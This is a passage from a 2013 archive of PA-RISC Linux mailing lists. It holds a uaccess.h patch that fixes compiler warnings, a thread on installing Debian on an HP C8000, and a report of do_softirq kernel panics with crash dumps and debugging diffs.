	Mon, 22 Apr 2013 08:54:00 -0400
Original-Received: from cam-admin0.cambridge.arm.com ([217.140.96.50]:59938 "EHLO
	cam-admin0.cambridge.arm.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1753613Ab3DVMx7 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 22 Apr 2013 08:53:59 -0400
Original-Received: from mudshark.cambridge.arm.com (mudshark.cambridge.arm.com [10.1.203.36])
	by cam-admin0.cambridge.arm.com (8.12.6/8.12.6) with ESMTP id r3MCruki009795;
	Mon, 22 Apr 2013 13:53:56 +0100 (BST)
Original-Received: by mudshark.cambridge.arm.com (Postfix, from userid 1000)
	id A6DCCC2B14; Mon, 22 Apr 2013 13:53:56 +0100 (BST)
X-Mailer: git-send-email 1.8.0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4932 gmane.linux.kernel:1479130
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4932>

When targetting 32-bit processors, __put_user emits a pair of stw
instructions for the 8-byte case. If the type of __val is a pointer, the
marshalling code casts it to the wider integer type of u64, resulting
in the following compiler warnings:

  kernel/signal.c: In function 'copy_siginfo_to_user':
  kernel/signal.c:2752:11: warning: cast from pointer to integer of different size [-Wpointer-to-int-cast]
  kernel/signal.c:2752:11: warning: cast from pointer to integer of different size [-Wpointer-to-int-cast]
  [...]

This patch fixes the warnings by removing the marshalling code and using
the correct output modifiers in the __put_{user,kernel}_asm64 macros
so that GCC will allocate the right registers without the need to
extract the two words explicitly.

Cc: Helge Deller <deller@gmx.de>
Signed-off-by: Will Deacon <will.deacon@arm.com>
---

v1->v2: Put the output modifier on the correct word, so 64-bit put_user
        doesn't end up word-swapped.

 arch/parisc/include/asm/uaccess.h | 14 ++++----------
 1 file changed, 4 insertions(+), 10 deletions(-)

diff --git a/arch/parisc/include/asm/uaccess.h b/arch/parisc/include/asm/uaccess.h
index 4ba2c93..e0a8235 100644
--- a/arch/parisc/include/asm/uaccess.h
+++ b/arch/parisc/include/asm/uaccess.h
@@ -181,30 +181,24 @@ struct exception_data {
 #if !defined(CONFIG_64BIT)
 
 #define __put_kernel_asm64(__val,ptr) do {		    \
-	u64 __val64 = (u64)(__val);			    \
-	u32 hi = (__val64) >> 32;			    \
-	u32 lo = (__val64) & 0xffffffff;		    \
 	__asm__ __volatile__ (				    \
 		"\n1:\tstw %2,0(%1)"			    \
-		"\n2:\tstw %3,4(%1)\n\t"		    \
+		"\n2:\tstw %R2,4(%1)\n\t"		    \
 		ASM_EXCEPTIONTABLE_ENTRY(1b,fixup_put_user_skip_2)\
 		ASM_EXCEPTIONTABLE_ENTRY(2b,fixup_put_user_skip_1)\
 		: "=r"(__pu_err)                            \
-		: "r"(ptr), "r"(hi), "r"(lo), "0"(__pu_err) \
+		: "r"(ptr), "r"(__val), "0"(__pu_err) \
 		: "r1");				    \
 } while (0)
 
 #define __put_user_asm64(__val,ptr) do {	    	    \
-	u64 __val64 = (u64)(__val);			    \
-	u32 hi = (__val64) >> 32;			    \
-	u32 lo = (__val64) & 0xffffffff;		    \
 	__asm__ __volatile__ (				    \
 		"\n1:\tstw %2,0(%%sr3,%1)"		    \
-		"\n2:\tstw %3,4(%%sr3,%1)\n\t"		    \
+		"\n2:\tstw %R2,4(%%sr3,%1)\n\t"		    \
 		ASM_EXCEPTIONTABLE_ENTRY(1b,fixup_put_user_skip_2)\
 		ASM_EXCEPTIONTABLE_ENTRY(2b,fixup_put_user_skip_1)\
 		: "=r"(__pu_err)                            \
-		: "r"(ptr), "r"(hi), "r"(lo), "0"(__pu_err) \
+		: "r"(ptr), "r"(__val), "0"(__pu_err) \
 		: "r1");				    \
 } while (0)
 
-- 
1.8.0

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:07 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Graham Gower <graham.gower@gmail.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa
Subject: install medium for c8000 [was Re: PARISC Linux website and status update]
Date: Mon, 22 Apr 2013 22:42:48 +0930
Lines: 26
Approved: news@gmane.org
Message-ID: <CAFk90B8ZNjwyWKpO_LhGPPkYB_sgJduMVi_YBCoN_Z6hk-_sFQ@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
X-Trace: ger.gmane.org 1366636392 26173 80.91.229.3 (22 Apr 2013 13:13:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 22 Apr 2013 13:13:12 +0000 (UTC)
Cc: debian-hppa@lists.debian.org,
	linux-parisc <linux-parisc@vger.kernel.org>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Apr 22 15:13:16 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1UUGYU-0005dq-02
	for glpp-linux-parisc@plane.gmane.org; Mon, 22 Apr 2013 15:13:14 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752472Ab3DVNNN (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 22 Apr 2013 09:13:13 -0400
Original-Received: from mail-wi0-f182.google.com ([209.85.212.182]:38734 "EHLO
	mail-wi0-f182.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751435Ab3DVNNN (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 22 Apr 2013 09:13:13 -0400
Original-Received: by mail-wi0-f182.google.com with SMTP id m6so4332142wiv.3
        for <linux-parisc@vger.kernel.org>; Mon, 22 Apr 2013 06:13:11 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=mime-version:x-received:date:message-id:subject:from:to:cc
         :content-type;
        bh=AY7p1uQ0PmfuMUamHGdQg6P59qECAGRMfOlm7y0JDFA=;
        b=mdVHKDg456a95ZXKYyNbLerggGHugrKNoMkJGv7VB16aTlF9o+aOC+aWJVIL2iShRA
         qunynm8McS3cJJChvYeCmf1ODI5sTaTAB7++siNBAOyxjrvt24wDYbN/dKm0uVoptFV1
         KlYRoioyVs7QfqCvlPJmSP32uFCc1CBCCoElBlUAFKkqbuuufpUq2I+osNrMAjapO2VD
         bGrCJvbuLGVxGvhlre+576ZDDhClZkF6+ogo+RbbAvMAxw1BosMf5FNr01CTp9ToHxXP
         sQ14NQbgRCwz5+/qbzqFgt5McYj/DxSiPoae7V4FugzCZdGSj8zy9d/oF2Z5Eff3rJT5
         e5Ww==
X-Received: by 10.180.36.48 with SMTP id n16mr66286588wij.30.1366636368822;
 Mon, 22 Apr 2013 06:12:48 -0700 (PDT)
Original-Received: by 10.216.103.69 with HTTP; Mon, 22 Apr 2013 06:12:48 -0700 (PDT)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4933 gmane.linux.debian.ports.hppa:6844
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4933>

On 20 April 2013 06:42, Helge Deller <deller@gmx.de> wrote:
> Hello everyone,
>
> During the last few days I've invested some time in updating our
> * main website at http://www.parisc-linux.org (including news-updates and favicon) and the
> * Wiki at http://wiki.parisc-linux.org
>
> As such, we now have some more current documentation about
> * http://wiki.parisc-linux.org/Debian_Ports_Installation  - How to install from Debian-Ports

Hi,

I'm wondering if there is an install iso with a kernel that has
CONFIG_PDC_CONSOLE=y, so that I can install on a c8000. (Or am I
missing something, is there a way to get it to work without this?)

Its kinda annoying if I've got to build a cross toolchain, cross
compile a kernel, tftpboot, nfsroot, etc. in order to put something on
the hard drive.

-Graham
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Geert Lorang" <geert@lorang.be>
Newsgroups: gmane.linux.debian.ports.hppa,gmane.linux.ports.parisc
Subject: Re: install medium for c8000 [was Re: PARISC Linux website and
 status update]
Date: Mon, 22 Apr 2013 17:00:07 +0200
Lines: 40
Approved: news@gmane.org
Message-ID: <0d62eecac81e83ba969f27e280554c19.squirrel@mail.therion.be>
References: <CAFk90B8ZNjwyWKpO_LhGPPkYB_sgJduMVi_YBCoN_Z6hk-_sFQ@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;charset=iso-8859-1
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1366642823 5323 80.91.229.3 (22 Apr 2013 15:00:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 22 Apr 2013 15:00:23 +0000 (UTC)
Cc: "Helge Deller" <deller@gmx.de>,
 debian-hppa@lists.debian.org,
 "linux-parisc" <linux-parisc@vger.kernel.org>
To: "Graham Gower" <graham.gower@gmail.com>
Original-X-From: bounce-debian-hppa=debian-hppa=m.gmane.org@lists.debian.org Mon Apr 22 17:00:27 2013
Return-path: <bounce-debian-hppa=debian-hppa=m.gmane.org@lists.debian.org>
Envelope-to: debian-hppa@m.gmane.org
Original-Received: from bendel.debian.org ([82.195.75.100])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <bounce-debian-hppa=debian-hppa=m.gmane.org@lists.debian.org>)
	id 1UUIEE-000785-43
	for debian-hppa@m.gmane.org; Mon, 22 Apr 2013 17:00:26 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by bendel.debian.org (Postfix) with QMQP
	id C56C722B; Mon, 22 Apr 2013 15:00:25 +0000 (UTC)
Old-Return-Path: <geert@lorang.be>
X-Spam-Checker-Version: SpamAssassin 3.3.2 (2011-06-06) on bendel.debian.org
X-Spam-Level: 
X-Spam-Status: No, score=-10.9 required=4.0 tests=FOURLA,LDOSUBSCRIBER,
	LDO_WHITELIST autolearn=unavailable version=3.3.2
X-Original-To: lists-debian-hppa@bendel.debian.org
Delivered-To: lists-debian-hppa@bendel.debian.org
Original-Received: from localhost (localhost [127.0.0.1])
	by bendel.debian.org (Postfix) with ESMTP id 6B370227
	for <lists-debian-hppa@bendel.debian.org>; Mon, 22 Apr 2013 15:00:16 +0000 (UTC)
X-Virus-Scanned: at lists.debian.org with policy bank en-lt
X-Amavis-Spam-Status: No, score=-6.9 tagged_above=-10000 required=5.3
	tests=[BAYES_00=-2, FOURLA=0.1, LDO_WHITELIST=-5] autolearn=ham
Original-Received: from bendel.debian.org ([127.0.0.1])
	by localhost (lists.debian.org [127.0.0.1]) (amavisd-new, port 2525)
	with ESMTP id YE8BXFGFRKbI for <lists-debian-hppa@bendel.debian.org>;
	Mon, 22 Apr 2013 15:00:09 +0000 (UTC)
Original-Received: from therion.be (cl-659.bru-01.be.sixxs.net [IPv6:2001:6f8:202:292::2])
	by bendel.debian.org (Postfix) with ESMTP id C1BB9228
	for <debian-hppa@lists.debian.org>; Mon, 22 Apr 2013 15:00:09 +0000 (UTC)
Original-Received: from mail.therion.be (localhost [127.0.0.1])
	by therion.be (Postfix) with ESMTP id E5841110133;
	Mon, 22 Apr 2013 17:00:06 +0200 (CEST)
Original-Received: from 153.98.68.197
        by mail.therion.be with HTTP;
        Mon, 22 Apr 2013 17:00:07 +0200
In-Reply-To: <CAFk90B8ZNjwyWKpO_LhGPPkYB_sgJduMVi_YBCoN_Z6hk-_sFQ@mail.gmail.com>
User-Agent: SquirrelMail/1.5.2 [SVN]
X-Rc-Virus: 2007-09-13_01
X-Rc-Spam: 2008-11-04_01
Resent-Message-ID: <YxZRhXJDi3O.A.bhG.JCVdRB@bendel>
Resent-From: debian-hppa@lists.debian.org
X-Mailing-List: <debian-hppa@lists.debian.org> archive/latest/7832
X-Loop: debian-hppa@lists.debian.org
List-Id: <debian-hppa.lists.debian.org>
List-URL: <http://lists.debian.org/debian-hppa/>
List-Post: <mailto:debian-hppa@lists.debian.org>
List-Help: <mailto:debian-hppa-request@lists.debian.org?subject=help>
List-Subscribe: <mailto:debian-hppa-request@lists.debian.org?subject=subscribe>
List-Unsubscribe: <mailto:debian-hppa-request@lists.debian.org?subject=unsubscribe>
Precedence: list
Resent-Sender: debian-hppa-request@lists.debian.org
Resent-Date: Mon, 22 Apr 2013 15:00:25 +0000 (UTC)
Xref: news.gmane.org gmane.linux.debian.ports.hppa:6845 gmane.linux.ports.parisc:4934
Archived-At: <http://permalink.gmane.org/gmane.linux.debian.ports.hppa/6845>

On Mon, April 22, 2013 15:12, Graham Gower wrote:
> I'm wondering if there is an install iso with a kernel that has
> CONFIG_PDC_CONSOLE=3Dy, so that I can install on a c8000. (Or am I
> missing something, is there a way to get it to work without this?)
>
> Its kinda annoying if I've got to build a cross toolchain, cross
> compile a kernel, tftpboot, nfsroot, etc. in order to put something on =
the
> hard drive.

AFAIK the C8000s have unsupported serial ports / network card.

Adding a real cheap serial card worked very well for me with the 'latest'
HPPA netinstall iso.

Balint succeeded installing a C8000 by using a USB CD-ROM drive (+
additional serial card).

See threads:

http://lists.debian.org/debian-hppa/2010/05/msg00005.html
http://lists.debian.org/debian-hppa/2010/05/msg00004.html

There are a few more threads from Jan-May 2010 that may contain some
useful information about installing on a C8000.

Hope this helps.

Cheers,
Geert


--=20
To UNSUBSCRIBE, email to debian-hppa-REQUEST@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmaster@lists.debian=
.org
Archive: http://lists.debian.org/0d62eecac81e83ba969f27e280554c19.squirre=
l@mail.therion.be



From - Thu Nov 08 21:09:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Rolf Eike Beer <eike-kernel@sf-tec.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa
Subject: Re: install medium for c8000 [was Re: PARISC Linux website and status update]
Date: Mon, 22 Apr 2013 18:17:36 +0200
Lines: 47
Approved: news@gmane.org
Message-ID: <2146001.U3u6lFCtbY@eto>
References: <CAFk90B8ZNjwyWKpO_LhGPPkYB_sgJduMVi_YBCoN_Z6hk-_sFQ@mail.gmail.com> <0d62eecac81e83ba969f27e280554c19.squirrel@mail.therion.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; boundary="nextPart3748160.nhSkCMLMq4"; micalg="pgp-sha1"; protocol="application/pgp-signature"
X-Trace: ger.gmane.org 1366647456 28351 80.91.229.3 (22 Apr 2013 16:17:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 22 Apr 2013 16:17:36 +0000 (UTC)
Cc: Graham Gower <graham.gower@gmail.com>,
	linux-parisc <linux-parisc@vger.kernel.org>
To: debian-hppa@lists.debian.org
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Apr 22 18:17:40 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1UUJQx-0003wr-FG
	for glpp-linux-parisc@plane.gmane.org; Mon, 22 Apr 2013 18:17:39 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753420Ab3DVQRi (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 22 Apr 2013 12:17:38 -0400
Original-Received: from mail.sf-mail.de ([62.27.20.61]:55813 "EHLO mail.sf-mail.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752347Ab3DVQRh (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 22 Apr 2013 12:17:37 -0400
Original-Received: (qmail 11193 invoked from network); 22 Apr 2013 16:17:36 -0000
Original-Received: from dslb-188-108-169-148.pools.arcor-ip.net ([::ffff:188.108.169.148]:56107 HELO eto.sf-tec.de) (auth=eike@sf-mail.de)
	by mail.sf-mail.de (Qsmtpd 0.23svn) with (DHE-RSA-AES256-SHA encrypted) ESMTPSA
	for <debian-hppa@lists.debian.org>; Mon, 22 Apr 2013 18:17:36 +0200
User-Agent: KMail/4.10.2 (Linux/3.8.8-3-desktop; KDE/4.10.2; x86_64; ; )
In-Reply-To: <0d62eecac81e83ba969f27e280554c19.squirrel@mail.therion.be>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4935 gmane.linux.debian.ports.hppa:6846
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4935>


--nextPart3748160.nhSkCMLMq4
Content-Transfer-Encoding: 7Bit
Content-Type: text/plain; charset="us-ascii"

Am Montag 22 April 2013, 17:00:07 schrieb Geert Lorang:
> On Mon, April 22, 2013 15:12, Graham Gower wrote:
> > I'm wondering if there is an install iso with a kernel that has
> > CONFIG_PDC_CONSOLE=y, so that I can install on a c8000. (Or am I
> > missing something, is there a way to get it to work without this?)
> > 
> > Its kinda annoying if I've got to build a cross toolchain, cross
> > compile a kernel, tftpboot, nfsroot, etc. in order to put something on the
> > hard drive.
> 
> AFAIK the C8000s have unsupported serial ports / network card.

The network card is an e1000, which has a somewhat weird "checksum" for the 
EEPROM. In newer kernels the driver knows how to handle that. For older 
kernels you need to set the MAC by hand, but otherwise everything is fine.

About the serial I'm not absolutely sure, but I think it worked. The only 
thing I needed to change was to set the console to ttyB0 instead of ttyS0.

Greetings,

Eike
--nextPart3748160.nhSkCMLMq4
Content-Type: application/pgp-signature; name="signature.asc"
Content-Description: This is a digitally signed message part.
Content-Transfer-Encoding: 7Bit

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v2.0.19 (GNU/Linux)

iEYEABECAAYFAlF1YqAACgkQXKSJPmm5/E7GrQCdFfhJ8CeI9LDIaI9oD6x4w0gY
LOkAn2Pdd3X9GoPUd1/npEWsaZpIG/dA
=y3ZD
-----END PGP SIGNATURE-----

--nextPart3748160.nhSkCMLMq4--

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: HPPA TODO discussion
Date: Mon, 22 Apr 2013 19:46:17 -0400
Lines: 311
Approved: news@gmane.org
Message-ID: <BLU0-SMTP89ECD6DE64096062F05B0E97CB0@phx.gbl>
References: <514C43F3.4040206@gmail.com> <51631E58.40703@gmx.de>
 <516325C4.3060601@bell.net> <516476B2.5070203@gmx.de>
 <51647BD0.5090703@bell.net> <51647ED6.3010308@gmx.de>
 <516484DC.7010807@bell.net> <516487C1.7040004@gmx.de>
 <BLU0-SMTP703D62CA01367F237EF15197C60@phx.gbl> <5165C155.1080703@gmx.de>
 <5165D983.6070507@bell.net> <BLU0-SMTP7629CCB47BE1ED29C8DBC997C00@phx.gbl>,
 <BLU0-SMTP89ED49182B52087410DC597C10@phx.gbl>
 <trinity-b2b2fe55-7479-4bce-9acd-f3ba1a954ba3-1365778076698@3capp-gmx-bs09>
 <516824BD.7020205@bell.net> <BLU0-SMTP18CB6AE03CF38381ECF94397C20@phx.gbl>
 <5169BBD1.2070008@gmx.de> <BLU0-SMTP78F7D0C880682B1681B9EC97C20@phx.gbl>
 <BLU0-SMTP497EDB1FFDDD314EFF5C8D97C20@phx.gbl> <516B1F86.5010602@gmx.de>,
 <BLU0-SMTP678DA690D56A8DFF593E5597C30@phx.gbl>
 <trinity-917bdd57-1051-47af-9bdb-c85910d4d390-1366023186058@3capp-gmx-bs13>
 <516C00EC.3010102@bell.net> <516DAB97.8090905@gmx.de>
 <BLU0-SMTP14CBF9C6918F6A65C6484D97CE0@phx.gbl>
 <BLU0-SMTP985F9D0870B28DBF795DC297CE0@phx.gbl> <516F0E50.5040202@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v936)
Content-Type: text/plain; charset="US-ASCII"; format=flowed; delsp=yes
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1366674418 20642 80.91.229.3 (22 Apr 2013 23:46:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 22 Apr 2013 23:46:58 +0000 (UTC)
Cc: linux-parisc List <linux-parisc@vger.kernel.org>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Apr 23 01:47:02 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1UUQRo-0006AI-2H
	for glpp-linux-parisc@plane.gmane.org; Tue, 23 Apr 2013 01:47:00 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751870Ab3DVXq7 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 22 Apr 2013 19:46:59 -0400
Original-Received: from blu0-omc4-s17.blu0.hotmail.com ([65.55.111.156]:26137 "EHLO
	blu0-omc4-s17.blu0.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751474Ab3DVXq6 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 22 Apr 2013 19:46:58 -0400
Original-Received: from BLU0-SMTP89 ([65.55.111.136]) by blu0-omc4-s17.blu0.hotmail.com with Microsoft SMTPSVC(6.0.3790.4675);
	 Mon, 22 Apr 2013 16:46:57 -0700
X-EIP: [ycuUAgIkxJNVlKkXrL6YxEVm9Bizdlar]
X-Originating-Email: [dave.anglin@bell.net]
Original-Received: from [192.168.2.10] ([64.229.85.251]) by BLU0-SMTP89.phx.gbl over TLS secured channel with Microsoft SMTPSVC(6.0.3790.4675);
	 Mon, 22 Apr 2013 16:46:56 -0700
In-Reply-To: <516F0E50.5040202@gmx.de>
X-Mailer: Apple Mail (2.936)
X-OriginalArrivalTime: 22 Apr 2013 23:46:56.0999 (UTC) FILETIME=[ACBB8770:01CE3FB3]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4936
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4936>

On 17-Apr-13, at 5:04 PM, Helge Deller wrote:

>>> Have you had a chance to try my patch on a UP machine?  With the  
>>> additional locking,
>>> there's an increased chance that lockups might occur.  That's the  
>>> risk.
>
> Yes, I'm running your patch on a UP (PA8600 CPU) and a SMP (PA8500 I  
> think) machine.
> No lockups until now, only the do_softirq() crashes I mentioned above.

I don't think I should upload my Debian kernel build.  It suffers  
seriously from the do_softirq() crashes.
It gets to the login console and dies either immediately or after I  
hit a carriage return.

[ ok ] Starting Postfix Mail Transport Agent: postfix.

Debian GNU/Linux 7.0 mx3210 ttyS1

mx3210 login: [  235.148000] Backtrace:
[  235.148000]  [<0000000040116878>] do_softirq+0x50/0x68
[  235.148000]  [<0000000040146ad8>] irq_exit+0x60/0x80
[  235.148000]  [<000000004011baf4>] do_cpu_irq_mask+0x214/0x2a0
[  235.148000]  [<0000000040105074>] intr_return+0x0/0x4
[  235.148000]  [<00000000401040c0>] _switch_to_ret+0x0/0xf40
[  235.148000]
[  235.148000]
[  235.148000] Kernel Fault: Code=26 regs=000000007ecf07f0  
(Addr=0000000000000010)
[  235.148000]
[  235.148000]      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
[  235.148000] PSW: 00001000000001000000000000001111 Not tainted
[  235.148000] r00-03  000000000804000f 000000004065c080  
0000000040146728 0000000000000001
[  235.148000] r04-07  000000004080fd00 0000000000000048  
000000000000000a 000000007ecf07c0
[  235.148000] r08-11  0000000040824500 0000000000200040  
0000000000000003 0000000040838d00
[  235.148000] r12-15  0000000040755740 0000000040838500  
0000000040837500 0000000040838d00
[  235.148000] r16-19  0000000040824500 0000000000000100  
0000000000000009 0000000042606b24
[  235.148000] r20-23  ffe0000000000000 0000000042606020  
8000000000000000 000000000000c7e0
[  235.148000] r24-27  0000000000000001 0000000040660200  
000000004065c0c8 000000004080fd00
[  235.148000] r28-31  0000000000000000 000000007ecf07c0  
000000007ecf07f0 0000000001d7f000
[  235.148000] sr00-03  0000000000b16000 0000000000000000  
0000000000000000 0000000000b16000
[  235.148000] sr04-07  0000000000000000 0000000000000000  
0000000000000000 0000000000000000
[  235.148000]
[  235.148000] IASQ: 0000000000000000 0000000000000000 IAOQ:  
00000000401466bc 00000000401466c0
[  235.148000]  IIR: 53820020    ISR: 0000000000000000  IOR:  
0000000000000010
[  235.148000]  CPU:        3   CR30: 000000007ecf0000 CR31:  
ffffffffffffffff
[  235.148000]  ORIG_R28: 0000000000000000
[  235.148000]  IAOQ[0]: __do_softirq+0x144/0x280
[  235.148000]  IAOQ[1]: __do_softirq+0x148/0x280
[  235.148000]  RP(r2): __do_softirq+0x1b0/0x280
[  235.148000] Backtrace:
[  235.148000]  [<0000000040116878>] do_softirq+0x50/0x68
[  235.148000]  [<0000000040146ad8>] irq_exit+0x60/0x80
[  235.148000]  [<000000004011baf4>] do_cpu_irq_mask+0x214/0x2a0
[  235.148000]  [<0000000040105074>] intr_return+0x0/0x4
[  235.148000]  [<00000000401040c0>] _switch_to_ret+0x0/0xf40
[  235.148000]
[  235.148000] Kernel panic - not syncing: Kernel Fault

This reminds me of the two hacks that I once had:

diff --git a/kernel/irq/chip.c b/kernel/irq/chip.c
index 3aca9f2..b891626 100644
--- a/kernel/irq/chip.c
+++ b/kernel/irq/chip.c
@@ -582,6 +582,7 @@ out_eoi:
  void
  handle_percpu_irq(unsigned int irq, struct irq_desc *desc)
  {
+       struct irqaction *action;
         struct irq_chip *chip = irq_desc_get_chip(desc);

         kstat_incr_irqs_this_cpu(irq, desc);
@@ -589,7 +590,9 @@ handle_percpu_irq(unsigned int irq, struct  
irq_desc *desc)
         if (chip->irq_ack)
                 chip->irq_ack(&desc->irq_data);

-       handle_irq_event_percpu(desc, desc->action);
+       action = desc->action;
+       if (action)
+               handle_irq_event_percpu(desc, action);

         if (chip->irq_eoi)
                 chip->irq_eoi(&desc->irq_data);
diff --git a/kernel/softirq.c b/kernel/softirq.c
index ed567ba..0344acb 100644
--- a/kernel/softirq.c
+++ b/kernel/softirq.c
@@ -259,7 +259,7 @@ restart:
                 }
                 h++;
                 pending >>= 1;
-       } while (pending);
+       } while (pending && h >= (struct softirq_action *)0x1000);

         local_irq_disable();

In the last, I had decided that we had run off the pending queue.  You  
were going to
ask around about this bug.

Then, I tried to boot twice 2.6.39-rc7+.  Both failed with lockups:

[ ok ] Starting Postfix Mail Transport Agent: postfix.

Debian GNU/Linux 7.0 mx3210 ttyS1

mx3210 login: BUG: soft lockup - CPU#3 stuck for 4278967496s! [swapper/ 
3:0]
Modules linked in: iscsi_tcp libiscsi_tcp libiscsiBUG: soft lockup -  
CPU#2 stuck for 4278967496s! [swapper/2:0]
Modules linked in: iscsi_tcp libiscsi_tcp libiscsi  
scsi_transport_iscsi nfsd exportfs ipv6 ext2 ext3 mbcache jbd dm_mod  
zalon7xx lasi700 53c700 hilkbd sd_mod crc_t10dif sg sr_mod cdrom tg3  
sym53c8xx pata_cmd64x scsi_transport_spi ptp pps_core libata scsi_mod

      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00001000000001001111111100001111 Not tainted
r00-03  000000ff0804ff0f 000000004074fff0 00000000401255a0  
000000007f0ec190
r04-07  000000004073c7f0 000000007f0ec1f0 0000000000000002  
0000000000000002
r08-11  000000f0f0d08440 0200000000000000 000000000804000e  
00000000407678fc
r12-15  0000000000000041 0000000040826500 0000000040837d00  
0000000040660300
r16-19  fffffff0f0d00b0c 0000000000000004 0000000040826500  
000000000800000e
r20-23  0000000001d75000 000000007f257e00 000000007f7c1cc0  
000000000800000e
r24-27  000000000800000e 0000000000000000 000000004250d748  
000000004073c7f0
r28-31  0000000000000008 000000007f0ec1f0 000000007f0ec220  
0000000040684444
sr00-03  0000000000963000 0000000000963000 0000000000000000  
0000000000963000
sr04-07  0000000000000000 0000000000000000 0000000000000000  
0000000000000000

IASQ: 0000000000000000 0000000000000000 IAOQ: 00000000401255b4  
00000000401255b8
  IIR: 03c008bc    ISR: 000000004075eff0  IOR: ffffffffc0000000
